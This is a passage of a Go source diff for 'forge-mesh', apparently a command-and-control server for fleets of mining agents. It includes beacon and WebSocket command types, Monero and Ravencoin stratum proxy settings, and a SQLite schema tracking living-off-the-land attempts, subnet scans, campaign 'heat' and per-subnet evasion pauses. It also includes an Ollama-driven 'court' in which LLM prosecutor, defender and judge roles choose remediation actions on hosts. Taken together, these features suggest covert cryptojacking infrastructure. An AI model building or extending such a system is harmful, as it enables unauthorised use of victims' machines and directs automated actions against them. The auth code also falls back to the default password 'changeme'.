MiningProfileID *string `json:"mining_profile_id,omitempty"`
LastSeenAt *time.Time `json:"last_seen_at,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}

View File

@@ -0,0 +1,63 @@
package types
import "time"
// HeartbeatPayload is sent by agents over WS or beacon.
type HeartbeatPayload struct {
HostID string `json:"host_id,omitempty"`
Hostname string `json:"hostname"`
Arch string `json:"arch,omitempty"`
Hashrate float64 `json:"hashrate"`
HashrateHps float64 `json:"hashrate_hps"`
CurrentTier int `json:"current_tier"`
TierType string `json:"tier_type,omitempty"`
TierState string `json:"tier_state,omitempty"`
Fingerprint string `json:"fingerprint,omitempty"`
}
// SetHashrateFields keeps hashrate and hashrate_hps in sync for older clients.
func (h *HeartbeatPayload) SetHashrateFields(hps float64) {
h.HashrateHps = hps
h.Hashrate = hps
}
// EffectiveHashrate returns hashrate_hps when set, otherwise legacy hashrate.
func (h HeartbeatPayload) EffectiveHashrate() float64 {
if h.HashrateHps > 0 {
return h.HashrateHps
}
return h.Hashrate
}
// BeaconResponse is returned by HTTPS beacon fallback.
type BeaconResponse struct {
Commands []FleetCommand `json:"commands"`
OK bool `json:"ok"`
Profile *MiningProfile `json:"mining_profile,omitempty"`
}
// WsMessage is the wire format for fleet WebSocket frames.
type WsMessage struct {
Type string `json:"type"`
Host *Host `json:"host,omitempty"`
HostID string `json:"host_id,omitempty"`
Command *FleetCommand `json:"command,omitempty"`
Payload map[string]any `json:"payload,omitempty"`
Timestamp string `json:"timestamp,omitempty"`
}
// FleetCommand is dispatched from deck to agent.
type FleetCommand struct {
ID string `json:"id"`
Action string `json:"action"`
Args map[string]any `json:"args,omitempty"`
IssuedAt time.Time `json:"issued_at"`
}
// MiningProfileRequest assigns or updates a host mining profile.
type MiningProfileRequest struct {
ProfileID string `json:"profile_id,omitempty"`
Name string `json:"name,omitempty"`
WalletAddress string `json:"wallet_address"`
Tiers []MiningTierSpec `json:"tiers,omitempty"`
}

View File

@@ -0,0 +1,21 @@
package types
import "time"
// MiningTierSpec defines one step in a tiered miner chain.
type MiningTierSpec struct {
Type string `json:"type"`
Duration int `json:"duration_minutes,omitempty"`
Config map[string]string `json:"config,omitempty"`
}
// MiningProfile is an ordered list of mining tiers pushed to agents.
type MiningProfile struct {
ID string `json:"id"`
Name string `json:"name"`
WalletAddress string `json:"wallet_address"`
Tiers []MiningTierSpec `json:"tiers"`
PolicyFromServer bool `json:"policy_from_server"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}

131
internal/auth/auth.go Normal file
View File

@@ -0,0 +1,131 @@
package auth
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"net/http"
"strings"
"sync"
"time"
)
// Credentials for HTTP Basic and fleet bearer auth.
type Credentials struct {
BasicUsername string
BasicPassword string
FleetSecret string
}
// TicketStore issues short-lived WebSocket tickets after Basic login.
type TicketStore struct {
mu sync.Mutex
tickets map[string]time.Time
ttl time.Duration
}
// NewTicketStore creates a ticket store with the default TTL.
func NewTicketStore(ttl ...time.Duration) *TicketStore {
d := 5 * time.Minute
if len(ttl) > 0 && ttl[0] > 0 {
d = ttl[0]
}
return &TicketStore{
tickets: make(map[string]time.Time),
ttl: d,
}
}
func (s *TicketStore) Issue() (string, error) {
b := make([]byte, 24)
if _, err := rand.Read(b); err != nil {
return "", err
}
ticket := base64.RawURLEncoding.EncodeToString(b)
s.mu.Lock()
defer s.mu.Unlock()
s.tickets[ticket] = time.Now().Add(s.ttl)
s.gcLocked()
return ticket, nil
}
func (s *TicketStore) Validate(ticket string) bool {
s.mu.Lock()
defer s.mu.Unlock()
exp, ok := s.tickets[ticket]
if !ok || time.Now().After(exp) {
delete(s.tickets, ticket)
return false
}
return true
}
// Consume validates and removes a one-time ticket.
func (s *TicketStore) Consume(ticket string) bool {
s.mu.Lock()
defer s.mu.Unlock()
exp, ok := s.tickets[ticket]
if !ok || time.Now().After(exp) {
delete(s.tickets, ticket)
return false
}
delete(s.tickets, ticket)
return true
}
func (s *TicketStore) gcLocked() {
now := time.Now()
for k, exp := range s.tickets {
if now.After(exp) {
delete(s.tickets, k)
}
}
}
// ExtractBearer returns the token from an Authorization Bearer header.
func ExtractBearer(r *http.Request) string {
auth := r.Header.Get("Authorization")
if !strings.HasPrefix(auth, "Bearer ") {
return ""
}
return strings.TrimPrefix(auth, "Bearer ")
}
// BasicAuthMiddleware protects routes with HTTP Basic credentials.
func BasicAuthMiddleware(username, password string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
user, pass, ok := r.BasicAuth()
if !ok || user != username || pass != password {
w.Header().Set("WWW-Authenticate", `Basic realm="forge-mesh"`)
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r)
})
}
}
// BasicAuthMiddlewareCreds is the struct-based variant for router wiring.
func BasicAuthMiddlewareCreds(creds Credentials) func(http.Handler) http.Handler {
return BasicAuthMiddleware(creds.BasicUsername, creds.BasicPassword)
}
// FleetSecretMiddleware validates agent bearer tokens.
func FleetSecretMiddleware(secret string, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
token := ExtractBearer(r)
if token == "" || token != secret {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r)
})
}
// JSON writes a JSON response.
func JSON(w http.ResponseWriter, status int, v any) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
_ = json.NewEncoder(w).Encode(v)
}

View File

@@ -0,0 +1,82 @@
package auth
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestTicketStoreIssueValidate(t *testing.T) {
store := NewTicketStore(0)
ticket, err := store.Issue()
if err != nil || ticket == "" {
t.Fatal("expected valid ticket")
}
if !store.Validate(ticket) {
t.Fatal("expected valid ticket")
}
if store.Validate("invalid") {
t.Fatal("expected invalid ticket to fail")
}
}
func TestTicketStoreConsume(t *testing.T) {
store := NewTicketStore(0)
ticket, err := store.Issue()
if err != nil || !store.Consume(ticket) {
t.Fatal("expected consume to succeed")
}
if store.Validate(ticket) {
t.Fatal("consumed ticket should be invalid")
}
}
func TestBasicAuthMiddleware(t *testing.T) {
handler := BasicAuthMiddleware("admin", "secret")(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodGet, "/", nil)
req.SetBasicAuth("admin", "secret")
rec = httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
}
func TestFleetSecretMiddleware(t *testing.T) {
handler := FleetSecretMiddleware("fleet-secret", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
}))
req := httptest.NewRequest(http.MethodPost, "/beacon", nil)
rec := httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
req = httptest.NewRequest(http.MethodPost, "/beacon", nil)
req.Header.Set("Authorization", "Bearer fleet-secret")
rec = httptest.NewRecorder()
handler.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d", rec.Code)
}
}
func TestExtractBearer(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/", nil)
req.Header.Set("Authorization", "Bearer abc123")
if got := ExtractBearer(req); got != "abc123" {
t.Fatalf("expected abc123, got %q", got)
}
}

134
internal/config/config.go Normal file
View File

@@ -0,0 +1,134 @@
package config
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
)
// Config holds forge-mesh server configuration loaded from config.json.
type Config struct {
ListenAddr string `json:"listen_addr"`
DataDir string `json:"data_dir"`
DatabasePath string `json:"database_path"`
OperatorClearance int `json:"operator_clearance"`
Auth AuthConfig `json:"auth"`
WalletPolicy WalletPolicy `json:"wallet_policy"`
Stratum StratumConfig `json:"stratum"`
Forge ForgeConfig `json:"forge"`
Court CourtConfig `json:"court"`
Telegram TelegramConfig `json:"telegram"`
}
// TelegramConfig holds alert bot settings (W19).
type TelegramConfig struct {
Enabled bool `json:"enabled"`
BotToken string `json:"bot_token"`
ChatID string `json:"chat_id"`
}
type AuthConfig struct {
BasicUsername string `json:"basic_username"`
BasicPassword string `json:"basic_password"`
FleetSecret string `json:"fleet_secret"`
}
type WalletPolicy struct {
DefaultWallet string `json:"default_wallet"`
Currency string `json:"currency"`
}
type StratumConfig struct {
XMRListen string `json:"xmr_listen"`
RVNListen string `json:"rvn_listen"`
UpstreamXMR string `json:"upstream_xmr"`
UpstreamRVN string `json:"upstream_rvn"`
}
type ForgeConfig struct {
SigningKeyPath string `json:"signing_key_path"`
ArtifactsDir string `json:"artifacts_dir"`
}
type CourtConfig struct {
OllamaURL string `json:"ollama_url"`
Enabled bool `json:"enabled"`
}
// Load reads and parses config from the given JSON file path.
func Load(path string) (*Config, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read config: %w", err)
}
var cfg Config
if err := json.Unmarshal(data, &cfg); err != nil {
return nil, fmt.Errorf("parse config: %w", err)
}
cfg.applyDefaults(path)
if err := cfg.validate(); err != nil {
return nil, err
}
return &cfg, nil
}
func (c *Config) applyDefaults(configPath string) {
if c.ListenAddr == "" {
c.ListenAddr = ":8989"
}
if c.DataDir == "" {
c.DataDir = filepath.Dir(configPath)
}
if c.DatabasePath == "" {
c.DatabasePath = filepath.Join(c.DataDir, "forge-mesh.db")
}
if c.Auth.BasicUsername == "" {
c.Auth.BasicUsername = "admin"
}
if c.Auth.BasicPassword == "" {
c.Auth.BasicPassword = "changeme"
}
if c.WalletPolicy.Currency == "" {
c.WalletPolicy.Currency = "XMR"
}
if c.Stratum.XMRListen == "" {
c.Stratum.XMRListen = ":3333"
}
if c.Stratum.RVNListen == "" {
c.Stratum.RVNListen = ":3388"
}
if c.Forge.ArtifactsDir == "" {
c.Forge.ArtifactsDir = filepath.Join(c.DataDir, "artifacts")
}
if c.Forge.SigningKeyPath == "" {
c.Forge.SigningKeyPath = filepath.Join(c.DataDir, "signing.key")
}
if c.Court.OllamaURL == "" {
c.Court.OllamaURL = "http://127.0.0.1:11434"
}
if c.OperatorClearance == 0 {
c.OperatorClearance = 4
}
}
func (c *Config) validate() error {
if c.ListenAddr == "" {
return fmt.Errorf("listen_addr is required")
}
return nil
}
// EnsureDataDirs creates data directories referenced by the config.
func (c *Config) EnsureDataDirs() error {
dirs := []string{c.DataDir, c.Forge.ArtifactsDir}
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0o755); err != nil {
return fmt.Errorf("mkdir %s: %w", dir, err)
}
}
return nil
}

262
internal/court/court.go Normal file
View File

@@ -0,0 +1,262 @@
package court
import (
"bytes"
"context"
"crypto/rand"
"database/sql"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
"time"
"forge-mesh/internal/config"
"forge-mesh/internal/fleet"
)
// Court runs the Singular Machine Court with prosecutor/defender/judge roles.
type Court struct {
DB *sql.DB
Config config.CourtConfig
Fleet *fleet.Store
Client *http.Client
}
func New(db *sql.DB, cfg config.CourtConfig, fleetStore *fleet.Store) *Court {
return &Court{
DB: db,
Config: cfg,
Fleet: fleetStore,
Client: &http.Client{Timeout: 120 * time.Second},
}
}
// Session represents an active or resolved court case.
type Session struct {
ID string `json:"id"`
HostID string `json:"host_id"`
Status string `json:"status"`
Transcript []TranscriptLine `json:"transcript"`
Verdict string `json:"verdict,omitempty"`
ClearanceRequired int `json:"clearance_required"`
CreatedAt time.Time `json:"created_at"`
ResolvedAt *time.Time `json:"resolved_at,omitempty"`
}
type TranscriptLine struct {
Role string `json:"role"`
Content string `json:"content"`
Timestamp string `json:"timestamp"`
}
// OpenSession starts a court case for a stuck host.
func (c *Court) OpenSession(ctx context.Context, hostID string) (*Session, error) {
id := newID()
_, err := c.DB.ExecContext(ctx, `
INSERT INTO court_sessions (id, host_id, status, clearance_required)
VALUES (?, ?, 'open', 4)`, id, hostID)
if err != nil {
return nil, err
}
_ = c.emitSeer(ctx, hostID, "court_open", map[string]string{"session_id": id})
return c.GetSession(ctx, id)
}
// GetSession loads a court session by ID.
func (c *Court) GetSession(ctx context.Context, sessionID string) (*Session, error) {
var s Session
var transcript, verdict, created, resolved sql.NullString
err := c.DB.QueryRowContext(ctx, `
SELECT id, host_id, status, transcript_json, COALESCE(verdict,''), clearance_required, created_at, resolved_at
FROM court_sessions WHERE id = ?`, sessionID).
Scan(&s.ID, &s.HostID, &s.Status, &transcript, &verdict, &s.ClearanceRequired, &created, &resolved)
if err != nil {
return nil, err
}
if transcript.Valid {
_ = json.Unmarshal([]byte(transcript.String), &s.Transcript)
}
s.Verdict = verdict.String
if t, err := time.Parse("2006-01-02 15:04:05", created.String); err == nil {
s.CreatedAt = t
}
if resolved.Valid && resolved.String != "" {
if t, err := time.Parse("2006-01-02 15:04:05", resolved.String); err == nil {
s.ResolvedAt = &t
}
}
return &s, nil
}
// Deliberate runs prosecutor/defender/judge via Ollama when enabled.
func (c *Court) Deliberate(ctx context.Context, sessionID string) (*Session, error) {
s, err := c.GetSession(ctx, sessionID)
if err != nil {
return nil, err
}
evidence := c.gatherEvidence(ctx, s.HostID)
prosecutor, err := c.prompt(ctx, "prosecutor", evidence, "Argue why this host should be remediated aggressively.")
if err != nil {
prosecutor = fmt.Sprintf("[ollama unavailable] host %s shows repeated tier failures", s.HostID)
}
defender, err := c.prompt(ctx, "defender", evidence, "Argue for conservative remediation and tier retry.")
if err != nil {
defender = "Recommend adaptive tier reorder before destructive action."
}
judgePrompt := fmt.Sprintf("Prosecutor: %s\nDefender: %s\nIssue a concise operational verdict.", prosecutor, defender)
verdict, err := c.prompt(ctx, "judge", evidence, judgePrompt)
if err != nil {
verdict = "retry_adaptive_tiers"
}
now := time.Now().UTC().Format(time.RFC3339)
s.Transcript = append(s.Transcript,
TranscriptLine{Role: "prosecutor", Content: prosecutor, Timestamp: now},
TranscriptLine{Role: "defender", Content: defender, Timestamp: now},
TranscriptLine{Role: "judge", Content: verdict, Timestamp: now},
)
b, _ := json.Marshal(s.Transcript)
_, err = c.DB.ExecContext(ctx, `
UPDATE court_sessions SET transcript_json = ?, status = 'deliberated' WHERE id = ?`,
string(b), sessionID)
if err != nil {
return nil, err
}
_ = c.emitSeer(ctx, s.HostID, "court_deliberated", map[string]string{"session_id": sessionID, "verdict_draft": verdict})
return c.GetSession(ctx, sessionID)
}
func (c *Court) gatherEvidence(ctx context.Context, hostID string) string {
var hostname, status string
var hashrate float64
_ = c.DB.QueryRowContext(ctx, `SELECT hostname, status, hashrate FROM hosts WHERE id = ?`, hostID).
Scan(&hostname, &status, &hashrate)
var b strings.Builder
fmt.Fprintf(&b, "Host: %s (%s) status=%s hashrate=%.2f\n", hostID, hostname, status, hashrate)
if c.Fleet != nil {
attempts, _ := c.Fleet.ListLOTL(ctx, hostID, 20)
for _, a := range attempts {
fmt.Fprintf(&b, "LOTL tier=%d phase=%s status=%s err=%s\n", a.Tier, a.Phase, a.Status, a.Error)
}
}
return b.String()
}
type ollamaRequest struct {
Model string `json:"model"`
Prompt string `json:"prompt"`
Stream bool `json:"stream"`
}
type ollamaResponse struct {
Response string `json:"response"`
}
func (c *Court) prompt(ctx context.Context, role, evidence, instruction string) (string, error) {
if !c.Config.Enabled {
return fmt.Sprintf("[%s stub] %s", role, instruction), nil
}
body := ollamaRequest{
Model: "llama3.2",
Prompt: fmt.Sprintf("You are the %s in Singular Machine Court.\nEvidence:\n%s\n\n%s", role, evidence, instruction),
Stream: false,
}
payload, _ := json.Marshal(body)
req, err := http.NewRequestWithContext(ctx, http.MethodPost, strings.TrimRight(c.Config.OllamaURL, "/")+"/api/generate", bytes.NewReader(payload))
if err != nil {
return "", err
}
req.Header.Set("Content-Type", "application/json")
resp, err := c.Client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
raw, _ := io.ReadAll(resp.Body)
return "", fmt.Errorf("ollama status %d: %s", resp.StatusCode, string(raw))
}
var out ollamaResponse
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil {
return "", err
}
return strings.TrimSpace(out.Response), nil
}
// DispatchVerdict applies an L4 verdict and closes the session.
func (c *Court) DispatchVerdict(ctx context.Context, sessionID, verdict string, clearance int) error {
if clearance < 4 {
return fmt.Errorf("L4 clearance required for verdict dispatch (got L%d)", clearance)
}
s, err := c.GetSession(ctx, sessionID)
if err != nil {
return err
}
_, err = c.DB.ExecContext(ctx, `
UPDATE court_sessions SET verdict = ?, status = 'resolved', resolved_at = datetime('now')
WHERE id = ?`, verdict, sessionID)
if err != nil {
return err
}
_ = c.emitSeer(ctx, s.HostID, "verdict_dispatched", map[string]string{
"session_id": sessionID,
"verdict": verdict,
})
return c.applyVerdict(ctx, s.HostID, verdict)
}
func (c *Court) applyVerdict(ctx context.Context, hostID, verdict string) error {
switch strings.ToLower(verdict) {
case "retry_adaptive_tiers", "adaptive_retry":
if c.Fleet == nil {
return nil
}
order, err := c.Fleet.GetAdaptiveOrder(ctx, "")
if err != nil {
return err
}
_, err = RunAdaptiveRetry(ctx, c.Fleet, hostID, order)
return err
case "pause_host", "pause":
_, err := c.DB.ExecContext(ctx, `UPDATE hosts SET status = 'paused', updated_at = datetime('now') WHERE id = ?`, hostID)
return err
default:
return nil
}
}
// RunAdaptiveRetry triggers tier chain with adaptive order (helper to avoid import cycle).
func RunAdaptiveRetry(ctx context.Context, store *fleet.Store, hostID string, order []int) ([]*fleet.TierResult, error) {
return fleet.RunTierChain(ctx, store, hostID, order)
}
func (c *Court) emitSeer(ctx context.Context, hostID, eventType string, payload map[string]string) error {
b, _ := json.Marshal(payload)
_, err := c.DB.ExecContext(ctx, `
INSERT INTO seer_events (id, host_id, event_type, payload_json) VALUES (?, ?, ?, ?)`,
newID(), hostID, eventType, string(b))
return err
}
func newID() string {
b := make([]byte, 16)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}

153
internal/court/seer.go Normal file
View File

@@ -0,0 +1,153 @@
package court
import (
"context"
"database/sql"
"encoding/json"
"fmt"
"net/http"
"time"
)
// SeerHub broadcasts court and LOTL events over SSE.
type SeerHub struct {
DB *sql.DB
}
func NewSeerHub(db *sql.DB) *SeerHub {
return &SeerHub{DB: db}
}
// SeerEvent is one SSE payload line.
type SeerEvent struct {
ID string `json:"id"`
HostID string `json:"host_id,omitempty"`
EventType string `json:"event_type"`
Payload json.RawMessage `json:"payload"`
CreatedAt time.Time `json:"created_at"`
}
// StreamHandler serves GET /seer as Server-Sent Events.
func (h *SeerHub) StreamHandler() http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
flusher, ok := w.(http.Flusher)
if !ok {
http.Error(w, "streaming unsupported", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/event-stream")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
since := r.URL.Query().Get("since")
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
for {
select {
case <-r.Context().Done():
return
case <-ticker.C:
events, err := h.fetchEvents(r.Context(), since)
if err != nil {
fmt.Fprintf(w, "event: error\ndata: %q\n\n", err.Error())
flusher.Flush()
continue
}
for _, ev := range events {
b, _ := json.Marshal(ev)
fmt.Fprintf(w, "event: seer\ndata: %s\n\n", b)
since = ev.CreatedAt.Format("2006-01-02 15:04:05")
}
flusher.Flush()
}
}
}
}
func (h *SeerHub) fetchEvents(ctx context.Context, since string) ([]SeerEvent, error) {
q := `SELECT id, COALESCE(host_id,''), event_type, payload_json, created_at FROM seer_events`
var rows *sql.Rows
var err error
if since != "" {
rows, err = h.DB.QueryContext(ctx, q+` WHERE created_at > ? ORDER BY created_at ASC LIMIT 50`, since)
} else {
rows, err = h.DB.QueryContext(ctx, q+` ORDER BY created_at DESC LIMIT 20`)
}
if err != nil {
return nil, err
}
defer rows.Close()
var events []SeerEvent
for rows.Next() {
var ev SeerEvent
var created string
var payload string
if err := rows.Scan(&ev.ID, &ev.HostID, &ev.EventType, &payload, &created); err != nil {
return nil, err
}
ev.Payload = json.RawMessage(payload)
ev.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created)
events = append(events, ev)
}
return events, rows.Err()
}
// TimelineHandler serves LOTL timeline merged with court events for a host.
func TimelineHandler(c *Court) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("host_id")
if hostID == "" {
http.Error(w, "host_id required", http.StatusBadRequest)
return
}
type entry struct {
Kind string `json:"kind"`
Timestamp time.Time `json:"timestamp"`
Data interface{} `json:"data"`
}
var timeline []entry
if c.Fleet != nil {
lotl, err := c.Fleet.ListLOTL(r.Context(), hostID, 100)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
for _, a := range lotl {
timeline = append(timeline, entry{Kind: "lotl", Timestamp: a.CreatedAt, Data: a})
}
}
rows, err := c.DB.QueryContext(r.Context(), `
SELECT id, status, COALESCE(verdict,''), created_at, COALESCE(resolved_at,'')
FROM court_sessions WHERE host_id = ? ORDER BY created_at DESC LIMIT 20`, hostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer rows.Close()
for rows.Next() {
var id, status, verdict, created, resolved string
if err := rows.Scan(&id, &status, &verdict, &created, &resolved); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
ts, _ := time.Parse("2006-01-02 15:04:05", created)
timeline = append(timeline, entry{
Kind: "court", Timestamp: ts,
Data: map[string]string{"session_id": id, "status": status, "verdict": verdict},
})
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"host_id": hostID,
"timeline": timeline,
})
}
}

240
internal/db/db.go Normal file
View File

@@ -0,0 +1,240 @@
package db
import (
"database/sql"
"fmt"
"os"
"path/filepath"
"strings"
_ "github.com/mattn/go-sqlite3"
)
const schema = `
PRAGMA foreign_keys = ON;
CREATE TABLE IF NOT EXISTS hosts (
id TEXT PRIMARY KEY,
hostname TEXT NOT NULL,
fingerprint TEXT,
phenotype TEXT,
status TEXT NOT NULL DEFAULT 'offline',
hashrate REAL NOT NULL DEFAULT 0,
hashrate_hps REAL NOT NULL DEFAULT 0,
current_tier INTEGER NOT NULL DEFAULT 0,
tier_type TEXT NOT NULL DEFAULT '',
tier_state TEXT NOT NULL DEFAULT 'idle',
clearance_level INTEGER NOT NULL DEFAULT 0,
mining_profile_id TEXT,
last_seen_at TEXT,
created_at TEXT NOT NULL DEFAULT (datetime('now')),
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS tiers (
id TEXT PRIMARY KEY,
host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE,
tier_order INTEGER NOT NULL,
tier_type TEXT NOT NULL,
config_json TEXT NOT NULL DEFAULT '{}',
status TEXT NOT NULL DEFAULT 'pending',
started_at TEXT,
ended_at TEXT,
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE INDEX IF NOT EXISTS idx_tiers_host_id ON tiers(host_id);
CREATE TABLE IF NOT EXISTS campaigns (
id TEXT PRIMARY KEY,
code TEXT NOT NULL UNIQUE,
name TEXT NOT NULL,
pin TEXT,
heat INTEGER NOT NULL DEFAULT 0,
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS lotl_attempts (
id TEXT PRIMARY KEY,
host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE,
tier INTEGER NOT NULL,
phase TEXT NOT NULL,
status TEXT NOT NULL,
error TEXT,
metadata_json TEXT NOT NULL DEFAULT '{}',
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE INDEX IF NOT EXISTS idx_lotl_attempts_host_id ON lotl_attempts(host_id);
CREATE TABLE IF NOT EXISTS mining_profiles (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
wallet_address TEXT NOT NULL DEFAULT '',
tiers_json TEXT NOT NULL DEFAULT '[]',
policy_from_server INTEGER NOT NULL DEFAULT 1,
created_at TEXT NOT NULL DEFAULT (datetime('now')),
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS builds (
id TEXT PRIMARY KEY,
os TEXT NOT NULL,
arch TEXT NOT NULL,
version TEXT NOT NULL,
checksum TEXT NOT NULL,
signature TEXT,
public INTEGER NOT NULL DEFAULT 0,
path TEXT,
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE INDEX IF NOT EXISTS idx_builds_public ON builds(public, os, arch);
CREATE TABLE IF NOT EXISTS failure_atlas (
id TEXT PRIMARY KEY,
phenotype TEXT NOT NULL,
tier INTEGER NOT NULL,
failure_count INTEGER NOT NULL DEFAULT 0,
immune_until TEXT,
created_at TEXT NOT NULL DEFAULT (datetime('now')),
updated_at TEXT NOT NULL DEFAULT (datetime('now')),
UNIQUE(phenotype, tier)
);
CREATE TABLE IF NOT EXISTS subnet_cidrs (
id TEXT PRIMARY KEY,
cidr TEXT NOT NULL UNIQUE,
enabled INTEGER NOT NULL DEFAULT 1,
last_scan_at TEXT,
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS subnet_immune (
prefix TEXT PRIMARY KEY,
failure_count INTEGER NOT NULL DEFAULT 0,
paused_until TEXT,
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS phenotype_tier_orders (
phenotype TEXT PRIMARY KEY,
tier_order_json TEXT NOT NULL DEFAULT '[]',
wins INTEGER NOT NULL DEFAULT 0,
updated_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS erasure_bundles (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
total_shards INTEGER NOT NULL DEFAULT 6,
data_shards INTEGER NOT NULL DEFAULT 4,
parity_shards INTEGER NOT NULL DEFAULT 2,
checksum TEXT NOT NULL,
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS erasure_shards (
id TEXT PRIMARY KEY,
bundle_id TEXT NOT NULL REFERENCES erasure_bundles(id) ON DELETE CASCADE,
shard_index INTEGER NOT NULL,
data BLOB NOT NULL,
created_at TEXT NOT NULL DEFAULT (datetime('now')),
UNIQUE(bundle_id, shard_index)
);
CREATE TABLE IF NOT EXISTS policy_snapshots (
token TEXT PRIMARY KEY,
policy_json TEXT NOT NULL,
expires_at TEXT,
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS court_sessions (
id TEXT PRIMARY KEY,
host_id TEXT NOT NULL REFERENCES hosts(id) ON DELETE CASCADE,
status TEXT NOT NULL DEFAULT 'pending',
transcript_json TEXT NOT NULL DEFAULT '[]',
verdict TEXT,
clearance_required INTEGER NOT NULL DEFAULT 4,
created_at TEXT NOT NULL DEFAULT (datetime('now')),
resolved_at TEXT
);
CREATE INDEX IF NOT EXISTS idx_court_sessions_host_id ON court_sessions(host_id);
CREATE TABLE IF NOT EXISTS seer_events (
id TEXT PRIMARY KEY,
host_id TEXT,
event_type TEXT NOT NULL,
payload_json TEXT NOT NULL DEFAULT '{}',
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
CREATE INDEX IF NOT EXISTS idx_seer_events_created_at ON seer_events(created_at);
CREATE TABLE IF NOT EXISTS wireguard_peers (
id TEXT PRIMARY KEY,
host_id TEXT,
public_key TEXT NOT NULL,
endpoint TEXT,
allowed_ips TEXT NOT NULL DEFAULT '10.66.66.2/32',
config_json TEXT NOT NULL DEFAULT '{}',
created_at TEXT NOT NULL DEFAULT (datetime('now'))
);
`
// Open opens (or creates) the SQLite database and applies the schema.
func Open(path string) (*sql.DB, error) {
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return nil, fmt.Errorf("mkdir db dir: %w", err)
}
dsn := fmt.Sprintf("file:%s?_foreign_keys=on&_journal_mode=WAL", path)
conn, err := sql.Open("sqlite3", dsn)
if err != nil {
return nil, fmt.Errorf("open sqlite: %w", err)
}
if err := conn.Ping(); err != nil {
conn.Close()
return nil, fmt.Errorf("ping sqlite: %w", err)
}
if _, err := conn.Exec(schema); err != nil {
conn.Close()
return nil, fmt.Errorf("apply schema: %w", err)
}
if err := migrate(conn); err != nil {
conn.Close()
return nil, fmt.Errorf("migrate: %w", err)
}
return conn, nil
}
func migrate(conn *sql.DB) error {
columns := []string{
"ALTER TABLE hosts ADD COLUMN hashrate_hps REAL NOT NULL DEFAULT 0",
"ALTER TABLE hosts ADD COLUMN current_tier INTEGER NOT NULL DEFAULT 0",
"ALTER TABLE hosts ADD COLUMN tier_type TEXT NOT NULL DEFAULT ''",
"ALTER TABLE hosts ADD COLUMN tier_state TEXT NOT NULL DEFAULT 'idle'",
}
for _, stmt := range columns {
if _, err := conn.Exec(stmt); err != nil {
if !isDuplicateColumn(err) {
return err
}
}
}
return nil
}
func isDuplicateColumn(err error) bool {
if err == nil {
return false
}
msg := err.Error()
return strings.Contains(msg, "duplicate column") || strings.Contains(msg, "already exists")
}

View File

@@ -0,0 +1,58 @@
package erasure
import (
"context"
"bytes"
"testing"
"forge-mesh/internal/db"
)
func TestEncodeReconstruct4Plus2(t *testing.T) {
conn, err := db.Open(t.TempDir() + "/test.db")
if err != nil {
t.Fatal(err)
}
defer conn.Close()
